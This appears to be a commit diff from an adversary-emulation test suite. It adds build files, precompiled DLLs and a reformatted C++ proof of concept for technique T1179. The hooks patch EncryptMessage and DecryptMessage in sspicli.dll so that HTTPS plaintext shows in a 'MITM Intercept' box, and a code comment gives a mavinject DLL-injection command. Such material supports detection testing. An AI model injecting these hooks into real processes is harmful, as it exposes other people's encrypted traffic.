diff --git a/atomics/t1179/src/T1179.sln b/atomics/t1179/src/T1179.sln new file mode 100755 index 00000000..826d2f2d --- /dev/null +++ b/atomics/t1179/src/T1179.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.27703.2018 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "T1179", "T1179\T1179.vcxproj", "{8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F}.Debug|x64.ActiveCfg = Debug|x64 + {8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F}.Debug|x64.Build.0 = Debug|x64 + {8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F}.Debug|x86.ActiveCfg = Debug|Win32 + {8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F}.Debug|x86.Build.0 = Debug|Win32 + {8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F}.Release|x64.ActiveCfg = Release|x64 + {8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F}.Release|x64.Build.0 = Release|x64 + {8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F}.Release|x86.ActiveCfg = Release|Win32 + {8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {12B5822E-38ED-42F2-B03F-20C2F9983559} + EndGlobalSection +EndGlobal diff --git a/atomics/t1179/src/t1179.cpp b/atomics/t1179/src/T1179/T1179.cpp old mode 100644 new mode 100755 similarity index 82% rename from atomics/t1179/src/t1179.cpp rename to atomics/t1179/src/T1179/T1179.cpp index 1aa94acc..3ef43fcd --- a/atomics/t1179/src/t1179.cpp +++ b/atomics/t1179/src/T1179/T1179.cpp @@ -11,13 +11,13 @@ FARPROC fpDecryptMessage; //Pointer To The Original Location BYTE bSavedByte2; //Saved Byte Overwritten by 0xCC - -// Original Idea/Reference Blog Post Here: -// https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108 -// PoC by Casey Smith @subTee -// From PowerShell -// mavinject.exe $pid /INJECTRUNNING C:\AtomicTests\AtomicSSLHookx64.dll -// curl https://www.example.com -// Should Hook and Display Request/Response from HTTPS + // Original Idea/Reference Blog Post Here: + // https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108 + // PoC by Casey Smith @subTee + // From PowerShell + // mavinject.exe $pid /INJECTRUNNING C:\AtomicTests\AtomicSSLHookx64.dll + // curl https://www.example.com + // Should Hook and Display Request/Response from HTTPS @@ -34,7 +34,7 @@ BOOL WriteMemory(FARPROC fpFunc, LPCBYTE b, SIZE_T size) { //TODO, Combine HOOK Function To take 2 params. DLL and Function Name. VOID HookFunction(VOID) { - fpEncryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "EncryptMessage"); + fpEncryptMessage = GetProcAddress(LoadLibraryW(L"sspicli.dll"), "EncryptMessage"); if (fpEncryptMessage == NULL) { return; } @@ -48,7 +48,7 @@ VOID HookFunction(VOID) { } VOID HookFunction2(VOID) { - fpDecryptMessage = GetProcAddress(LoadLibrary(L"sspicli.dll"), "DecryptMessage"); + fpDecryptMessage = GetProcAddress(LoadLibraryW(L"sspicli.dll"), "DecryptMessage"); if (fpDecryptMessage == NULL) { return; } @@ -68,9 +68,9 @@ SECURITY_STATUS MyEncryptMessage( ULONG MessageSeqNo ) { - + char* buffer = (char*)((DWORD_PTR)(pMessage->pBuffers->pvBuffer) + 0x29); //Just Hardcode for PoC - + ::MessageBoxA(NULL, buffer, "MITM Intercept", 0); if (WriteMemory(fpEncryptMessage, &bSavedByte, sizeof(BYTE)) == FALSE) { @@ -89,14 +89,14 @@ SECURITY_STATUS MyDecryptMessage( ULONG fQOP ) { - + if (WriteMemory(fpDecryptMessage, &bSavedByte2, sizeof(BYTE)) == FALSE) { ExitThread(0); } - SECURITY_STATUS SEC_EntryRet = DecryptMessage(phContext, pMessage, MessageSeqNo, &fQOP ); + SECURITY_STATUS SEC_EntryRet = DecryptMessage(phContext, pMessage, MessageSeqNo, &fQOP); - char* buffer = (char*)(pMessage->pBuffers->pvBuffer); + char* buffer = (char*)(pMessage->pBuffers->pvBuffer); ::MessageBoxA(NULL, buffer, "MITM Intercept", 0); @@ -110,7 +110,7 @@ MyVectoredExceptionHandler1( struct _EXCEPTION_POINTERS *ExceptionInfo ) { - UNREFERENCED_PARAMETER(ExceptionInfo); + UNREFERENCED_PARAMETER(ExceptionInfo); #ifdef _WIN64 if (ExceptionInfo->ContextRecord->Rip == (DWORD_PTR)fpEncryptMessage) ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)MyEncryptMessage; diff --git a/atomics/t1179/src/T1179/T1179.vcxproj b/atomics/t1179/src/T1179/T1179.vcxproj new file mode 100755 index 00000000..7f5b889a --- /dev/null +++ b/atomics/t1179/src/T1179/T1179.vcxproj @@ -0,0 +1,132 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {8D90EA8D-EC23-4FD0-AE30-BBBA7B5A9A6F} + T1179 + 10.0.17134.0 + + + + Application + true + v141 + MultiByte + + + DynamicLibrary + false + v141 + true + MultiByte + + + Application + true + v141 + MultiByte + + + DynamicLibrary + false + v141 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + $(SolutionDir)$(Platform)\ + + + $(SolutionDir)$(Platform)\ + + + + Level3 + Disabled + true + true + + + + + Level3 + Disabled + true + true + + + + + Level3 + MaxSpeed + true + true + true + true + MultiThreaded + + + true + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + MaxSpeed + true + true + true + true + MultiThreaded + + + true + true + secur32.lib;%(AdditionalDependencies) + + + + + + + + + \ No newline at end of file diff --git a/atomics/t1179/src/T1179/T1179.vcxproj.filters b/atomics/t1179/src/T1179/T1179.vcxproj.filters new file mode 100755 index 00000000..4d675c47 --- /dev/null +++ b/atomics/t1179/src/T1179/T1179.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/atomics/t1179/src/T1179/T1179.vcxproj.user b/atomics/t1179/src/T1179/T1179.vcxproj.user new file mode 100755 index 00000000..6e2aec7a --- /dev/null +++ b/atomics/t1179/src/T1179/T1179.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/atomics/t1179/src/Win32/T1179.dll b/atomics/t1179/src/Win32/T1179.dll new file mode 100755 index 00000000..e904ed9f Binary files /dev/null and b/atomics/t1179/src/Win32/T1179.dll differ diff --git a/atomics/t1179/src/x64/T1179.dll b/atomics/t1179/src/x64/T1179.dll new file mode 100755 index 00000000..91bffa6a Binary files /dev/null and b/atomics/t1179/src/x64/T1179.dll differ diff --git a/atomics/t1179/t1179x64.dll b/atomics/t1179/t1179x64.dll deleted file mode 100644 index e6d457a8..00000000 Binary files a/atomics/t1179/t1179x64.dll and /dev/null differ diff --git a/atomics/t1179/t1179x86.dll b/atomics/t1179/t1179x86.dll deleted file mode 100644 index 82787313..00000000 Binary files a/atomics/t1179/t1179x86.dll and /dev/null differ